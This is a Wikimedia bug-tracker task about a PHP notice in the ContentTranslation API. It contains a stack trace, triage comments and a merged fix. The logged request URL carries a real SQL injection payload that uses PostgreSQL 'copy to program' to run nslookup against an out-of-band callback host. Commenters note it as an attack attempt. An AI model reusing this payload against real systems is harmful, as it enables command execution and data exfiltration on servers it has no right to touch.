ApiQueryContentTranslation.php: PHP Notice: Trying to get property 'translation' of non-object
Closed, ResolvedPublicPRODUCTION ERROR
Actions

Description

Error

Request ID: XWTr1wpAMD0AAJ-xABoAAACP
Request URL: rw.wikipedia.org/w/api.php...

message

[XWTr1wpAMD0AAJ-xABoAAACP] /w/api.php?action=query&from=en&list=contenttranslation&sourcetitle=Hibiscus&to=es';copy%20(select%20'')%20to%20program%20'nslookup%20dns.sqli.%5c023475.50597-12494.50597.2d5c6.%5c1.bxss.me   ErrorException from line 53 of /srv/mediawiki/php-1.34.0-wmf.19/extensions/ContentTranslation/api/ApiQueryContentTranslation.php: PHP Notice: Trying to get property 'translation' of non-object

trace

#0 /srv/mediawiki/php-1.34.0-wmf.19/extensions/ContentTranslation/api/ApiQueryContentTranslation.php(53): MWExceptionHandler::handleError(integer, string, string, integer, array)
#1 /srv/mediawiki/php-1.34.0-wmf.19/extensions/ContentTranslation/api/ApiQueryContentTranslation.php(25): ApiQueryContentTranslation->run()
#2 /srv/mediawiki/php-1.34.0-wmf.19/includes/api/ApiQuery.php(250): ApiQueryContentTranslation->execute()
#3 /srv/mediawiki/php-1.34.0-wmf.19/includes/api/ApiMain.php(1589): ApiQuery->execute()
#4 /srv/mediawiki/php-1.34.0-wmf.19/includes/api/ApiMain.php(533): ApiMain->executeAction()
#5 /srv/mediawiki/php-1.34.0-wmf.19/includes/api/ApiMain.php(504): ApiMain->executeActionWithErrorHandling()
#6 /srv/mediawiki/php-1.34.0-wmf.19/api.php(86): ApiMain->execute()
#7 /srv/mediawiki/w/api.php(3): require(string)
#8 {main}

Impact

14 hits in wmf.19, 2 hits in wmf.11.

Notes

Since I'm not sure if the only two hits in wmf.11 are the same problem, this is blocking the train.

Details

	Subject	Repo	Branch	Lines +/-
	Guard against empty results	mediawiki/extensions/ContentTranslation	master	+4 -0

Customize query in gerrit

Related Objects

Duplicates Merged Here: T204887: ContentTranslation API emits PHP error "Cannot access property on non-object" from some queries

Event Timeline

zeljkofilipin created this task.Aug 27 2019, 9:32 AM

Restricted Application added a subscriber: Aklapper. · View Herald TranscriptAug 27 2019, 9:32 AM

zeljkofilipin triaged this task as Unbreak Now! priority.Aug 27 2019, 9:32 AM

zeljkofilipin added a parent task: T220745: 1.34.0-wmf.20 deployment blockers.

Restricted Application added a subscriber: Liuxinyu970226. · View Herald TranscriptAug 27 2019, 9:32 AM

This should be a simple fix, but I'd like to point out that the URL triggering the error is an attempted injection attack, so not sure we need to prioritize it.

Change 532676 had a related patch set uploaded (by Awight; owner: Awight):
[mediawiki/extensions/ContentTranslation@master] Guard against empty results

https://gerrit.wikimedia.org/r/532676

gerritbot added a project: Patch-For-Review.Aug 27 2019, 9:52 AM

In T231284#5440642, @awight wrote:

This should be a simple fix, but I'd like to point out that the URL triggering the error is an attempted injection attack, so not sure we need to prioritize it.

This is creating log spam, that's why I've reported it. All new errors are by default blocking the train.

Nikerabbit added a project: Language-Team (Language-2019-July-September).Aug 27 2019, 10:04 AM

Nikerabbit moved this task from Backlog to In Review on the Language-Team (Language-2019-July-September) board.

Change 532676 merged by jenkins-bot:
[mediawiki/extensions/ContentTranslation@master] Guard against empty results

https://gerrit.wikimedia.org/r/532676

ReleaseTaggerBot added a project: MW-1.34-notes (1.34.0-wmf.21; 2019-09-03).Aug 27 2019, 1:00 PM

Maintenance_bot removed a project: Patch-For-Review.Aug 27 2019, 1:10 PM